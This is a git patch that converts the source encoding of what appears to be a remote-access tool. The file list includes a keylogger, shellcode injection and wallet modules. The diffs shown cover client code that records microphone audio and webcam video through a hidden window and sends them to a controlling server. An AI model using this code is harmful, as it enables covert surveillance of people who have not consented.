From b6af9ce615c31038dbf37ce4c5ad28b27f1332da Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Fri, 2 Jan 2026 20:00:18 +0100 Subject: [PATCH] style: Change files encoding format to UTF8-BOM --- client/Audio.cpp | 24 +- client/Audio.h | 18 +- client/AudioManager.cpp | 28 +- client/AudioManager.h | 4 +- client/Buffer.cpp | 6 +- client/Buffer.h | 4 +- client/CaptureVideo.cpp | 50 +- client/CaptureVideo.h | 40 +- client/ClientApp.h | 2 +- client/ClientDll.h | 26 +- client/Common.cpp | 2 +- client/Common.h | 4 +- client/CursorInfo.h | 2 +- client/FileManager.cpp | 128 ++-- client/FileManager.h | 10 +- client/IOCPBase.h | 2 +- client/IOCPKCPClient.cpp | 32 +- client/IOCPKCPClient.h | 10 +- client/IOCPUDPClient.cpp | 10 +- client/IOCPUDPClient.h | 2 +- client/KernelManager.h | 44 +- client/KeyboardManager.cpp | 130 ++-- client/KeyboardManager.h | 100 +-- client/Loader.cpp | 2 +- client/LoginServer.h | 2 +- client/Manager.cpp | 16 +- client/Manager.h | 4 +- client/MemoryModule.c | 2 +- client/MemoryModule.h | 2 +- client/RegisterManager.cpp | 12 +- client/RegisterManager.h | 2 +- client/RegisterOperation.cpp | 50 +- client/RegisterOperation.h | 2 +- client/SCLoader.cpp | 2 +- client/SafeThread.cpp | 54 +- client/SafeThread.h | 4 +- client/ScreenCapturerDXGI.h | 50 +- client/ScreenManager.h | 14 +- client/ScreenSpy.cpp | 4 +- client/ScreenSpy.h | 22 +- client/ServicesManager.cpp | 48 +- client/ServicesManager.h | 2 +- client/ShellManager.cpp | 38 +- client/ShellManager.h | 6 +- client/ShellcodeInj.h | 16 +- client/SimpleSCLoader.c | 2 +- client/StdAfx.cpp | 2 +- client/StdAfx.h | 8 +- client/SystemManager.cpp | 94 +-- client/SystemManager.h | 2 +- client/TalkManager.cpp | 18 +- client/TalkManager.h | 2 +- client/VideoCodec.h | 6 +- client/VideoManager.cpp | 56 +- client/VideoManager.h | 6 +- client/X264Encoder.cpp | 6 +- client/X264Encoder.h | 4 +- client/auto_start.h | 36 +- client/clang_rt_compat.c | 4 +- client/clip.h | 2 +- client/d3d/d3d.h | 2 +- client/d3d/d3dcaps.h | 2 +- client/d3d/d3drm.h | 2 +- client/d3d/d3drmdef.h | 2 +- client/d3d/d3drmobj.h | 2 +- client/d3d/d3dtypes.h | 2 +- client/d3d/winapifamily.h | 2 +- client/d3d/winpackagefamily.h | 2 +- client/domain_pool.h | 4 +- client/dxtrans.h | 2 +- client/keylogger.cpp | 4 +- client/keylogger.h | 4 +- client/main.c | 40 +- client/proxy/ProxyManager.cpp | 6 +- client/proxy/ProxyManager.h | 2 +- client/reg_startup.h | 2 +- client/resource.h | 6 +- client/resource1.h | 4 +- common/aes.c | 4 +- common/aes.h | 2 +- common/commands.h | 576 +++++++++--------- common/dllRunner.h | 2 +- common/encfuncs.h | 78 +-- common/encrypt.h | 2 +- common/file_upload.h | 14 +- common/hash.h | 32 +- common/header.h | 22 +- common/ikcp.c | 2 +- common/ikcp.h | 2 +- common/iniFile.h | 48 +- common/ip_enc.h | 22 +- common/jconfig.h | 2 +- common/jmorecfg.h | 2 +- common/jpeglib.h | 2 +- common/location.h | 64 +- common/locker.h | 22 +- common/mask.h | 62 +- common/md5.h | 6 +- common/obfs.h | 24 +- common/skCrypter.h | 2 +- common/turbojpeg.h | 8 +- common/wallet.h | 28 +- common/zstd_wrapper.c | 14 +- common/zstd_wrapper.h | 18 +- compress/jsoncpp/allocator.h | 2 +- compress/jsoncpp/assertions.h | 2 +- compress/jsoncpp/config.h | 2 +- compress/jsoncpp/forwards.h | 2 +- compress/jsoncpp/json.h | 2 +- compress/jsoncpp/json_features.h | 2 +- compress/jsoncpp/reader.h | 2 +- compress/jsoncpp/value.h | 2 +- compress/jsoncpp/version.h | 2 +- compress/jsoncpp/writer.h | 2 +- compress/libavcodec/ac3_parser.h | 2 +- compress/libavcodec/adts_parser.h | 2 +- compress/libavcodec/avcodec.h | 2 +- compress/libavcodec/avdct.h | 2 +- compress/libavcodec/avfft.h | 2 +- compress/libavcodec/d3d11va.h | 2 +- compress/libavcodec/dirac.h | 2 +- compress/libavcodec/dv_profile.h | 2 +- compress/libavcodec/dxva2.h | 2 +- compress/libavcodec/jni.h | 2 +- compress/libavcodec/mediacodec.h | 2 +- compress/libavcodec/qsv.h | 2 +- compress/libavcodec/vaapi.h | 2 +- compress/libavcodec/vdpau.h | 2 +- compress/libavcodec/version.h | 2 +- compress/libavcodec/videotoolbox.h | 2 +- compress/libavcodec/vorbis_parser.h | 2 +- compress/libavcodec/xvmc.h | 2 +- compress/libavutil/adler32.h | 2 +- compress/libavutil/aes.h | 2 +- compress/libavutil/aes_ctr.h | 2 +- compress/libavutil/attributes.h | 2 +- compress/libavutil/audio_fifo.h | 2 +- compress/libavutil/avassert.h | 2 +- compress/libavutil/avconfig.h | 2 +- compress/libavutil/avstring.h | 2 +- compress/libavutil/avutil.h | 2 +- compress/libavutil/base64.h | 2 +- compress/libavutil/blowfish.h | 2 +- compress/libavutil/bprint.h | 2 +- compress/libavutil/bswap.h | 2 +- compress/libavutil/buffer.h | 2 +- compress/libavutil/camellia.h | 2 +- compress/libavutil/cast5.h | 2 +- compress/libavutil/channel_layout.h | 2 +- compress/libavutil/common.h | 2 +- compress/libavutil/cpu.h | 2 +- compress/libavutil/crc.h | 2 +- compress/libavutil/des.h | 2 +- compress/libavutil/dict.h | 2 +- compress/libavutil/display.h | 2 +- compress/libavutil/downmix_info.h | 2 +- compress/libavutil/encryption_info.h | 2 +- compress/libavutil/error.h | 2 +- compress/libavutil/eval.h | 2 +- compress/libavutil/ffversion.h | 2 +- compress/libavutil/fifo.h | 2 +- compress/libavutil/file.h | 2 +- compress/libavutil/frame.h | 2 +- compress/libavutil/hash.h | 4 +- compress/libavutil/hmac.h | 2 +- compress/libavutil/hwcontext.h | 2 +- compress/libavutil/hwcontext_cuda.h | 2 +- compress/libavutil/hwcontext_d3d11va.h | 2 +- compress/libavutil/hwcontext_drm.h | 2 +- compress/libavutil/hwcontext_dxva2.h | 2 +- compress/libavutil/hwcontext_mediacodec.h | 2 +- compress/libavutil/hwcontext_qsv.h | 2 +- compress/libavutil/hwcontext_vaapi.h | 2 +- compress/libavutil/hwcontext_vdpau.h | 2 +- compress/libavutil/hwcontext_videotoolbox.h | 2 +- compress/libavutil/imgutils.h | 2 +- compress/libavutil/intfloat.h | 2 +- compress/libavutil/intreadwrite.h | 2 +- compress/libavutil/lfg.h | 2 +- compress/libavutil/log.h | 2 +- compress/libavutil/lzo.h | 2 +- compress/libavutil/macros.h | 2 +- .../libavutil/mastering_display_metadata.h | 2 +- compress/libavutil/mathematics.h | 2 +- compress/libavutil/md5.h | 2 +- compress/libavutil/mem.h | 2 +- compress/libavutil/motion_vector.h | 2 +- compress/libavutil/murmur3.h | 4 +- compress/libavutil/opt.h | 2 +- compress/libavutil/parseutils.h | 2 +- compress/libavutil/pixdesc.h | 2 +- compress/libavutil/pixelutils.h | 2 +- compress/libavutil/pixfmt.h | 8 +- compress/libavutil/random_seed.h | 2 +- compress/libavutil/rational.h | 4 +- compress/libavutil/rc4.h | 2 +- compress/libavutil/replaygain.h | 2 +- compress/libavutil/ripemd.h | 2 +- compress/libavutil/samplefmt.h | 2 +- compress/libavutil/sha.h | 2 +- compress/libavutil/sha512.h | 2 +- compress/libavutil/spherical.h | 2 +- compress/libavutil/stereo3d.h | 2 +- compress/libavutil/tea.h | 2 +- compress/libavutil/threadmessage.h | 2 +- compress/libavutil/time.h | 2 +- compress/libavutil/timecode.h | 4 +- compress/libavutil/timestamp.h | 2 +- compress/libavutil/tree.h | 2 +- compress/libavutil/twofish.h | 2 +- compress/libavutil/version.h | 2 +- compress/libavutil/xtea.h | 2 +- compress/libyuv/libyuv.h | 2 +- compress/libyuv/libyuv/basic_types.h | 2 +- compress/libyuv/libyuv/compare.h | 2 +- compress/libyuv/libyuv/compare_row.h | 2 +- compress/libyuv/libyuv/convert.h | 2 +- compress/libyuv/libyuv/convert_argb.h | 2 +- compress/libyuv/libyuv/convert_from.h | 2 +- compress/libyuv/libyuv/convert_from_argb.h | 2 +- compress/libyuv/libyuv/cpu_id.h | 2 +- compress/libyuv/libyuv/cpu_support.h | 2 +- compress/libyuv/libyuv/loongson_intrinsics.h | 4 +- compress/libyuv/libyuv/macros_msa.h | 2 +- compress/libyuv/libyuv/mjpeg_decoder.h | 2 +- compress/libyuv/libyuv/planar_functions.h | 2 +- compress/libyuv/libyuv/rotate.h | 2 +- compress/libyuv/libyuv/rotate_argb.h | 2 +- compress/libyuv/libyuv/rotate_row.h | 2 +- compress/libyuv/libyuv/row.h | 2 +- compress/libyuv/libyuv/row_sve.h | 2 +- compress/libyuv/libyuv/scale.h | 2 +- compress/libyuv/libyuv/scale_argb.h | 2 +- compress/libyuv/libyuv/scale_rgb.h | 2 +- compress/libyuv/libyuv/scale_row.h | 2 +- compress/libyuv/libyuv/scale_uv.h | 2 +- compress/libyuv/libyuv/version.h | 2 +- compress/libyuv/libyuv/video_common.h | 2 +- compress/x264/x264.h | 2 +- compress/x264/x264_config.h | 2 +- compress/zlib/zconf.h | 2 +- compress/zlib/zlib.h | 2 +- compress/zstd/zdict.h | 2 +- compress/zstd/zstd.h | 2 +- compress/zstd/zstd_errors.h | 2 +- linux/main.cpp | 46 +- server/2015Remote/AudioDlg.cpp | 24 +- server/2015Remote/AudioDlg.h | 12 +- server/2015Remote/Bmp2Video.cpp | 142 ++--- server/2015Remote/Bmp2Video.h | 16 +- server/2015Remote/CGridDialog.cpp | 38 +- server/2015Remote/CGridDialog.h | 20 +- server/2015Remote/CTextDlg.cpp | 6 +- server/2015Remote/CTextDlg.h | 10 +- server/2015Remote/Chat.cpp | 26 +- server/2015Remote/Chat.h | 2 +- server/2015Remote/DecryptDlg.cpp | 12 +- server/2015Remote/DecryptDlg.h | 6 +- server/2015Remote/EditDialog.cpp | 10 +- server/2015Remote/EditDialog.h | 10 +- server/2015Remote/FileManagerDlg.cpp | 430 ++++++------- server/2015Remote/FileManagerDlg.h | 16 +- server/2015Remote/FileTransferModeDlg.cpp | 4 +- server/2015Remote/FileTransferModeDlg.h | 2 +- server/2015Remote/HideScreenSpyDlg.h | 6 +- server/2015Remote/IOCPKCPServer.cpp | 20 +- server/2015Remote/IOCPKCPServer.h | 2 +- server/2015Remote/IOCPServer.h | 12 +- server/2015Remote/IOCPUDPServer.cpp | 16 +- server/2015Remote/IOCPUDPServer.h | 2 +- server/2015Remote/KeyBoardDlg.cpp | 26 +- server/2015Remote/KeyBoardDlg.h | 2 +- server/2015Remote/Loader.c | 2 +- server/2015Remote/RegisterDlg.cpp | 68 +-- server/2015Remote/RegisterDlg.h | 16 +- server/2015Remote/ScreenSpyDlg.h | 14 +- server/2015Remote/ServerServiceWrapper.cpp | 52 +- server/2015Remote/ServerServiceWrapper.h | 44 +- server/2015Remote/ServerSessionMonitor.cpp | 116 ++-- server/2015Remote/ServerSessionMonitor.h | 16 +- server/2015Remote/ServicesDlg.cpp | 50 +- server/2015Remote/ServicesDlg.h | 10 +- server/2015Remote/SettingDlg.cpp | 56 +- server/2015Remote/SettingDlg.h | 10 +- server/2015Remote/ShellDlg.cpp | 72 +-- server/2015Remote/ShellDlg.h | 12 +- server/2015Remote/SortListCtrl.cpp | 2 +- server/2015Remote/SortListCtrl.h | 6 +- server/2015Remote/SystemDlg.cpp | 148 ++--- server/2015Remote/SystemDlg.h | 8 +- server/2015Remote/TalkDlg.cpp | 14 +- server/2015Remote/TalkDlg.h | 10 +- server/2015Remote/TrueColorToolBar.cpp | 2 +- server/2015Remote/TrueColorToolBar.h | 2 +- server/2015Remote/VideoDlg.cpp | 50 +- server/2015Remote/VideoDlg.h | 18 +- server/2015Remote/file/CFileListCtrl.cpp | 2 +- server/2015Remote/file/CFileListCtrl.h | 2 +- server/2015Remote/file/CFileManagerDlg.cpp | 460 +++++++------- server/2015Remote/file/CFileManagerDlg.h | 20 +- .../2015Remote/file/CFileTransferModeDlg.cpp | 18 +- server/2015Remote/file/CFileTransferModeDlg.h | 2 +- server/2015Remote/libpeconv/peconv.h | 2 +- .../2015Remote/libpeconv/peconv/buffer_util.h | 2 +- server/2015Remote/libpeconv/peconv/caves.h | 2 +- .../libpeconv/peconv/delayed_imports_loader.h | 2 +- .../libpeconv/peconv/exceptions_parser.h | 2 +- .../libpeconv/peconv/exported_func.h | 2 +- .../libpeconv/peconv/exports_lookup.h | 2 +- .../libpeconv/peconv/exports_mapper.h | 2 +- .../2015Remote/libpeconv/peconv/file_util.h | 2 +- .../2015Remote/libpeconv/peconv/find_base.h | 2 +- .../2015Remote/libpeconv/peconv/fix_imports.h | 2 +- .../libpeconv/peconv/function_resolver.h | 2 +- server/2015Remote/libpeconv/peconv/hooks.h | 2 +- .../libpeconv/peconv/imports_loader.h | 2 +- .../libpeconv/peconv/imports_uneraser.h | 2 +- .../libpeconv/peconv/load_config_defs.h | 2 +- .../libpeconv/peconv/load_config_util.h | 2 +- .../2015Remote/libpeconv/peconv/pe_dumper.h | 2 +- .../libpeconv/peconv/pe_hdrs_helper.h | 2 +- .../2015Remote/libpeconv/peconv/pe_loader.h | 2 +- .../libpeconv/peconv/pe_mode_detector.h | 2 +- .../libpeconv/peconv/pe_raw_to_virtual.h | 2 +- .../libpeconv/peconv/pe_virtual_to_raw.h | 2 +- .../2015Remote/libpeconv/peconv/peb_lookup.h | 2 +- server/2015Remote/libpeconv/peconv/relocate.h | 2 +- .../libpeconv/peconv/remote_pe_reader.h | 2 +- .../libpeconv/peconv/resource_parser.h | 2 +- .../libpeconv/peconv/resource_util.h | 2 +- .../2015Remote/libpeconv/peconv/tls_parser.h | 2 +- server/2015Remote/libpeconv/peconv/unicode.h | 2 +- server/2015Remote/libpeconv/peconv/util.h | 2 +- server/2015Remote/main.cpp | 2 +- server/2015Remote/peloader.h | 2 +- .../2015Remote/proxy/ProxyConnectServer.cpp | 6 +- server/2015Remote/proxy/ProxyConnectServer.h | 14 +- server/2015Remote/proxy/ProxyMapDlg.cpp | 46 +- server/2015Remote/proxy/ProxyMapDlg.h | 4 +- server/2015Remote/pwd_gen.cpp | 62 +- server/2015Remote/pwd_gen.h | 4 +- server/2015Remote/resource.h | Bin 58444 -> 28604 bytes server/2015Remote/stdafx.cpp | 8 +- server/2015Remote/stdafx.h | 54 +- server/2015Remote/sys/CCreateTaskDlg.cpp | 10 +- server/2015Remote/sys/CCreateTaskDlg.h | 6 +- server/2015Remote/sys/CInjectCodeDlg.cpp | 18 +- server/2015Remote/sys/CInjectCodeDlg.h | 6 +- server/2015Remote/sys/MachineDlg.cpp | 312 +++++----- server/2015Remote/sys/MachineDlg.h | 46 +- server/2015Remote/sys/ServiceInfoDlg.cpp | 8 +- server/2015Remote/sys/ServiceInfoDlg.h | 2 +- server/2015Remote/targetver.h | 8 +- server/2015Remote/xxhash.h | 2 +- server/执行代码/main.cpp | 6 +- test/TestCompareBitmap.cpp | 2 +- 356 files changed, 2819 insertions(+), 2819 deletions(-) diff --git a/client/Audio.cpp b/client/Audio.cpp index 25a670c..fce9957 100644 --- a/client/Audio.cpp +++ b/client/Audio.cpp @@ -1,4 +1,4 @@ -// Audio.cpp: implementation of the CAudio class. +// Audio.cpp: implementation of the CAudio class. // ////////////////////////////////////////////////////////////////////// @@ -73,7 +73,7 @@ CAudio::~CAudio() waveInClose(m_hWaveIn); WAIT (m_hThreadCallBack, 30); if (m_hThreadCallBack) - Mprintf("ûгɹرwaveInCallBack.\n"); + Mprintf("没有成功关闭waveInCallBack.\n"); TerminateThread(m_Thread, -999); m_Thread = NULL; } @@ -111,18 +111,18 @@ BOOL CAudio::InitializeWaveIn() waveInCallBack, (LPVOID)this, CREATE_SUSPENDED, &dwThreadID); - //¼豸COM 1 ָ 2 ֧̻ͨ߳ص + //打开录音设备COM 1 指定声音规格 2 支持通过线程回调 换缓冲 mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD); - //m_hWaveIn ¼ + //m_hWaveIn 录音机句柄 if (mmResult != MMSYSERR_NOERROR) { return FALSE; } - //¼豸 Ҫ + //录音设备 需要的两个缓冲 for (int i=0; i<2; ++i) { - m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ + m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData 指针数组 m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength; m_InAudioHeader[i]->dwFlags = 0; m_InAudioHeader[i]->dwLoops = 0; @@ -133,7 +133,7 @@ BOOL CAudio::InitializeWaveIn() if (m_Thread!=NULL) { ResumeThread(m_Thread); } - waveInStart(m_hWaveIn); //¼ + waveInStart(m_hWaveIn); //录音 m_bIsWaveInUsed = TRUE; @@ -142,7 +142,7 @@ BOOL CAudio::InitializeWaveIn() LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize) { - //¼ + //录音机 if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE) { return NULL; } @@ -150,7 +150,7 @@ LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize) SetEvent(m_hStartRecord); WaitForSingleObject(m_hEventWaveIn, INFINITE); *dwBufferSize = m_ulBufferLength; - return m_InAudioData[m_nWaveInIndex]; // + return m_InAudioData[m_nWaveInIndex]; //返出真正数据 } DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam) @@ -171,7 +171,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam) Sleep(1); This->m_nWaveInIndex = 1 - This->m_nWaveInIndex; - //» + //更新缓冲 MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn, This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR)); if (mmResult != MMSYSERR_NOERROR) @@ -194,7 +194,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam) BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize) { - if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 Ƶʽ 2 豸 + if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 音频格式 2 播音设备 return NULL; for (int i = 0; i < dwBufferSize; i += m_ulBufferLength) { @@ -211,7 +211,7 @@ BOOL CAudio::InitializeWaveOut() return FALSE; for (int i = 0; i < 2; ++i) - memset(m_OutAudioData[i], 0, m_ulBufferLength); // + memset(m_OutAudioData[i], 0, m_ulBufferLength); //声音数据 MMRESULT mmResult; mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL); diff --git a/client/Audio.h b/client/Audio.h index 55255e0..335b42a 100644 --- a/client/Audio.h +++ b/client/Audio.h @@ -1,4 +1,4 @@ -// Audio.h: interface for the CAudio class. +// Audio.h: interface for the CAudio class. // ////////////////////////////////////////////////////////////////////// @@ -19,15 +19,15 @@ public: virtual ~CAudio(); GSM610WAVEFORMAT m_GSMWavefmt; ULONG m_ulBufferLength; - LPWAVEHDR m_InAudioHeader[2]; //ͷ - LPBYTE m_InAudioData[2]; // + LPWAVEHDR m_InAudioHeader[2]; //两个头 + LPBYTE m_InAudioData[2]; //两个数据 保持声音的连续 HANDLE m_hEventWaveIn; - HANDLE m_hStartRecord; //¼ - HWAVEIN m_hWaveIn; //豸 + HANDLE m_hStartRecord; //两个事件 + HWAVEIN m_hWaveIn; //设备句柄 DWORD m_nWaveInIndex; bool m_hThreadCallBack; - HANDLE m_Thread;// waveInCallBack߳ - static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض + HANDLE m_Thread;// waveInCallBack线程 + static DWORD WINAPI waveInCallBack(LPVOID lParam); //发送到主控端 LPBYTE GetRecordBuffer(LPDWORD dwBufferSize); BOOL InitializeWaveIn(); BOOL m_bIsWaveInUsed; @@ -36,8 +36,8 @@ public: BOOL m_bExit; BOOL m_bIsWaveOutUsed; DWORD m_nWaveOutIndex; - LPWAVEHDR m_OutAudioHeader[2]; //ͷ - LPBYTE m_OutAudioData[2]; // + LPWAVEHDR m_OutAudioHeader[2]; //两个头 + LPBYTE m_OutAudioData[2]; //两个数据 保持声音的连续 BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize); BOOL InitializeWaveOut(); }; diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index 2c1057a..ae821c4 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -1,4 +1,4 @@ -// AudioManager.cpp: implementation of the CAudioManager class. +// AudioManager.cpp: implementation of the CAudioManager class. // ////////////////////////////////////////////////////////////////////// @@ -29,7 +29,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)&bToken, 1, &mask); - WaitForDialogOpen(); //ȴԻ + WaitForDialogOpen(); //等待对话框打开 szPacket = NULL; m_hWorkThread = __CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL); @@ -51,7 +51,7 @@ VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } } -DWORD CAudioManager::WorkThread(LPVOID lParam) // +DWORD CAudioManager::WorkThread(LPVOID lParam) //发送声音到服务端 { CAudioManager *This = (CAudioManager *)lParam; while (This->m_bIsWorking && !This->g_bExit) { @@ -68,18 +68,18 @@ BOOL CAudioManager::SendRecordBuffer() { DWORD dwBufferSize = 0; BOOL dwReturn = 0; - //õ Ƶ + //这里得到 音频数据 LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize); if (szBuffer == NULL) return 0; - //仺 + //分配缓冲区 szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1]; - //ͷ - szPacket[0] = TOKEN_AUDIO_DATA; //ض˷͸Ϣ - //ƻ + //加入数据头 + szPacket[0] = TOKEN_AUDIO_DATA; //向主控端发送该消息 + //复制缓冲区 memcpy(szPacket + 1, szBuffer, dwBufferSize); szPacket[dwBufferSize] = 0; - //ͳȥ + //发送出去 if (dwBufferSize > 0) { dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1); } @@ -88,9 +88,9 @@ BOOL CAudioManager::SendRecordBuffer() CAudioManager::~CAudioManager() { - m_bIsWorking = FALSE; //趨״̬Ϊ + m_bIsWorking = FALSE; //设定工作状态为假 if (m_hWorkThread) - WaitForSingleObject(m_hWorkThread, INFINITE); //ȴ ߳̽ + WaitForSingleObject(m_hWorkThread, INFINITE); //等待 工作线程结束 if (m_hWorkThread) SAFE_CLOSE_HANDLE(m_hWorkThread); @@ -108,16 +108,16 @@ CAudioManager::~CAudioManager() //USB BOOL CAudioManager::Initialize() { - if (!waveInGetNumDevs()) //ȡ豸Ŀ ʵʾǿû + if (!waveInGetNumDevs()) //获取波形输入设备的数目 实际就是看看有没有声卡 return FALSE; // SYS SYS P - // ʹ.. ֹظʹ + // 正在使用中.. 防止重复使用 if (m_bIsWorking==TRUE) { return FALSE; } - m_AudioObject = new CAudio; // + m_AudioObject = new CAudio; //功能类 m_bIsWorking = TRUE; return TRUE; diff --git a/client/AudioManager.h b/client/AudioManager.h index fb86955..440d8f5 100644 --- a/client/AudioManager.h +++ b/client/AudioManager.h @@ -1,4 +1,4 @@ -// AudioManager.h: interface for the CAudioManager class. +// AudioManager.h: interface for the CAudioManager class. // ////////////////////////////////////////////////////////////////////// @@ -26,7 +26,7 @@ public: BOOL SendRecordBuffer(); CAudio* m_AudioObject; - LPBYTE szPacket; // Ƶ + LPBYTE szPacket; // 音频缓存区 }; #endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_) diff --git a/client/Buffer.cpp b/client/Buffer.cpp index d379ef6..5163cae 100644 --- a/client/Buffer.cpp +++ b/client/Buffer.cpp @@ -1,4 +1,4 @@ -#ifdef _WIN32 +#ifdef _WIN32 #include "StdAfx.h" #endif @@ -53,7 +53,7 @@ ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength) } -// ·ڴС +// 重新分配内存大小 VOID CBuffer::DeAllocateBuffer(ULONG ulLength) { int len = m_Ptr - m_Base; @@ -94,7 +94,7 @@ BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength) } -// 泤Ȳʱ· +// 当缓存长度不足时重新分配 BOOL CBuffer::ReAllocateBuffer(ULONG ulLength) { if (ulLength < m_ulMaxLength) diff --git a/client/Buffer.h b/client/Buffer.h index 3c3fc2a..16f49a2 100644 --- a/client/Buffer.h +++ b/client/Buffer.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "../common/commands.h" @@ -9,7 +9,7 @@ public: ~CBuffer(void); ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength); - ULONG GetBufferLength() const; //Чݳ + ULONG GetBufferLength() const; //获得有效数据长度 VOID DeAllocateBuffer(ULONG ulLength); VOID ClearBuffer(); BOOL ReAllocateBuffer(ULONG ulLength); diff --git a/client/CaptureVideo.cpp b/client/CaptureVideo.cpp index 81a2e2c..2c954bb 100644 --- a/client/CaptureVideo.cpp +++ b/client/CaptureVideo.cpp @@ -1,4 +1,4 @@ -// CaptureVideo.cpp: implementation of the CCaptureVideo class. +// CaptureVideo.cpp: implementation of the CCaptureVideo class. // ////////////////////////////////////////////////////////////////////// @@ -57,13 +57,13 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter"); hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, - IID_ISampleGrabber, (void**)&m_pGrabber); //ڴ + IID_ISampleGrabber, (void**)&m_pGrabber); //引脚内存 if(FAILED(hResult)) break; - //m_pGrabber 1 ʽ 2 ڴ滺ʽ - CComQIPtr pGrabBase(m_pGrabber);//Ƶʽ - AM_MEDIA_TYPE mt; //Ƶʽ + //m_pGrabber 属性设置 1 格式 2 内存缓冲形式 + CComQIPtr pGrabBase(m_pGrabber);//设置视频格式 + AM_MEDIA_TYPE mt; //视频格式 ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE)); mt.majortype = MEDIATYPE_Video; mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24 @@ -77,10 +77,10 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) if(FAILED(hResult)) break; - hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //̬ + hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //静态 &MEDIATYPE_Video,m_pBF,pGrabBase,NULL); if(FAILED(hResult)) { - //׽ + //扑捉 hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL); break; } @@ -93,28 +93,28 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) if (FAILED(hResult)) break; - //3 ׽ FDO һݾͽ ص һ + //3 扑捉数据 FDO 一旦有数据就进行 回调函数调用 属于一个类 VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat; - //mCB Ǹһ ȫֱ иص + //mCB 是个另外一个类 并且全局变量 有个回调 mCB.m_ulFullWidth = vih->bmiHeader.biWidth; mCB.m_ulFullHeight = vih->bmiHeader.biHeight; FreeMediaType(mt); - hResult = m_pGrabber->SetBufferSamples( FALSE ); //ص + hResult = m_pGrabber->SetBufferSamples( FALSE ); //回调函数 hResult = m_pGrabber->SetOneShot( FALSE ); - //Ƶص ҲƵʱͻBufferCB + //设置视频捕获回调函数 也就是如果有视频数据时就会调用这个类的BufferCB函数 - //OnTimer + //返回OnTimer hResult = m_pGrabber->SetCallback(&mCB, 1); m_hWnd = CreateWindow("#32770", "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL); - SetupVideoWindow(); //δ + SetupVideoWindow(); //屏蔽窗口 - hResult = m_pMC->Run(); // + hResult = m_pMC->Run(); //开灯 if(FAILED(hResult)) break; @@ -129,19 +129,19 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) HRESULT CCaptureVideo::InitCaptureGraphBuilder() { HRESULT hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2, NULL, CLSCTX_INPROC, - IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //ʵ豸 + IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //真实设备 if (FAILED(hResult)) { return hResult; } hResult=CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER, - IID_IGraphBuilder, (void**)&m_pGB); //豸 + IID_IGraphBuilder, (void**)&m_pGB); //虚拟设备 if (FAILED(hResult)) { return hResult; } - //˰󶨵ʵ豸 + //将过滤绑定到真实设备上面 m_pCapture->SetFiltergraph(m_pGB); hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC); if (FAILED(hResult)) { @@ -157,7 +157,7 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder() LPBITMAPINFO CCaptureVideo::GetBmpInfor() { - return mCB.GetBmpInfor(); //λͼڴͷ + return mCB.GetBmpInfor(); //构建位图内存头和数据 } BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter) @@ -181,7 +181,7 @@ BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter) int index = 0; while(hr = pEm->Next(1, &pM, &cFetched), hr==S_OK, index <= deviceId) { IPropertyBag *pBag; - //ͨBindToStorage 